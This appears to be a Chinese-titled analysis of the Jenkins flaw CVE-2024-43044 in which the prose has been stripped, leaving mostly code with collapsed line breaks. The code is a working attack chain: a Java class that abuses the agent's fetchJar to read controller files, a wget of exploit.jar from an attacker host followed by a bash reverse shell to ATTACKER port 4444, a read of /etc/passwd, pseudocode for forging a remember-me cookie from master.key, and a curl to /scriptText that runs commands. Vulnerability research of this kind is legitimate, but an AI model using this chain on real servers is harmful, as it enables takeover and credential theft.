CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE

private static class Exploit extends MasterToSlaveCallable<Void, Exception> {    private final URL controllerFilePath;    private final String expectedContent;
    public Exploit(URL controllerFilePath, String expectedContent) {        this.controllerFilePath = controllerFilePath;        this.expectedContent = expectedContent;    }    @Override    public Void call() throws Exception {        final ClassLoader ccl = Thread.currentThread().getContextClassLoader();        final Field classLoaderProxyField = ccl.getClass().getDeclaredField("proxy");        classLoaderProxyField.setAccessible(true);        final Object theProxy = classLoaderProxyField.get(ccl);        final Method fetchJarMethod = theProxy.getClass().getDeclaredMethod("fetchJar", URL.class);        fetchJarMethod.setAccessible(true);        final byte[] fetchJarResponse = (byte[]) fetchJarMethod.invoke(theProxy, controllerFilePath);        assertThat(new String(fetchJarResponse, StandardCharsets.UTF_8), is(expectedContent));        return null;    }}

// hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJarpublic byte[] fetchJar(URL url) throws IOException {    return Util.readFully(url.openStream());}

public byte[] fetchJar(URL url) throws IOException {    final Object o = channel.getProperty(JarURLValidator.class);    if (o == null) {        final boolean disabled = Boolean.getBoolean(Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR");
        if (!disabled) {            // No hudson.remoting.JarURLValidator has been set for this channel, so all #fetchJar calls are rejected        }    } else {        if (o instanceof JarURLValidator) {            ((JarURLValidator) o).validate(url); // [1] Validate the URL        // ...                   }    return readFully(url.openStream());}

public void validate(URL url) throws IOException {    final String rejectAllProp = JarURLValidatorImpl.class.getName() + ".REJECT_ALL";    if (SystemProperties.getBoolean(rejectAllProp)) {        //  "Rejecting URL due to configuration    }    final String allowAllProp = Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR";    if (SystemProperties.getBoolean(allowAllProp)) {        // Allowing URL due to configuration    }    if (!isAllowedJar(url)) { // [2] Check if allowed URL        // DENY - This URL does not point to a jar file allowed to be requested by agents    } else {        // ALLOW    }}
private static boolean isAllowedJar(URL url) {    final ClassLoader classLoader = Jenkins.get().getPluginManager().uberClassLoader;    if (classLoader instanceof PluginManager.UberClassLoader) {        if (((PluginManager.UberClassLoader) classLoader).isPluginJar(url)) {            // ACCEPT - Determined to be plugin jar            return true;        }    }
    final ClassLoader coreClassLoader = Jenkins.class.getClassLoader();    if (coreClassLoader instanceof URLClassLoader) {        if (Set.of(((URLClassLoader) coreClassLoader).getURLs()).contains(url)) {            // ACCEPT -  Determined to be core jar            return true;        }    }    // DENY - Neither core nor plugin jar    return false;}

java -jar exploit.jar mode_secret http://localhost:8080/ test b55d9b7fede47864572f4d0830a564a83ae78a4f297c1178b7f55601784f645c

cd /tmpwget http://ATTACKER/exploit.jar -O /tmp/exploit.jarjava -jar exploit.jar mode_attach 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

...    <build>        <plugins>            <plugin>                <groupId>org.codehaus.mojo</groupId>                <artifactId>exec-maven-plugin</artifactId>                <version>3.1.0</version>                <executions>                    <execution>                        <id>run-build-script</id>                        <phase>package</phase>                        <goals>                            <goal>exec</goal>                        </goals>                        <configuration>                            <executable>bash</executable>                            <arguments>                                <argument>./build.sh</argument>                            </arguments>                        </configuration>                    </execution>                </executions>            </plugin>        </plugins>    </build>...

public ClassLoader getRemoteClassLoader() {    boolean found = false;    ClassLoader temp = null;    while (!found) {        for (Thread thread : Thread.getAllStackTraces().keySet()) {            temp = thread.getContextClassLoader();            if (temp == null) continue;            String className = temp.getClass().getName();            if (className.equals("hudson.remoting.RemoteClassLoader")) {                found = true;                break;            }        }        try {            Thread.sleep(1000);        } catch(Exception e) {}    }    return temp;}

if (this.ccl == null) this.ccl = this.getRemoteClassLoader();
this.reader = new RemoteFileReader(this.ccl);

this.reader.readAsString("file:///etc/passwd");

// Calculate tokenExpiryTime (current server time in milliseconds + 1 hour)tokenExpiryTime = currentServerTimeInMillis() + 3600000
// Concatenate data to generate tokentoken = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
// Obtaining the MAC key by decrypting org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac using master.key as AES128 keykey = toAes128Key(masterKey)decrypted = AES.decrypt(macFile, key)
// Checking the presence of the "::::MAGIC::::" suffix in the decrypted data (and removing it to obtain the actual MAC key)if not decrypted.hasSuffix("::::MAGIC::::")    return ERROR;macKey = decrypted.withoutSuffix("::::MAGIC::::")
// Calculating the HmacSHA256 of the token using this MAC keymac = HmacSHA256(token, macKey)tokenSignature = bytesToHexString(mac)
// Concatenating username + tokenExpiryTime + tokenSignature and base64 encoding it to generate the cookiecookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)

curl -X POST "$JENKINS_URL/scriptText" --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" --header "Jenkins-Crumb: $CRUMB" --header "Content-Type: application/x-www-form-urlencoded" --data-urlencode "script=$SCRIPT"

println "uname -a".execute().text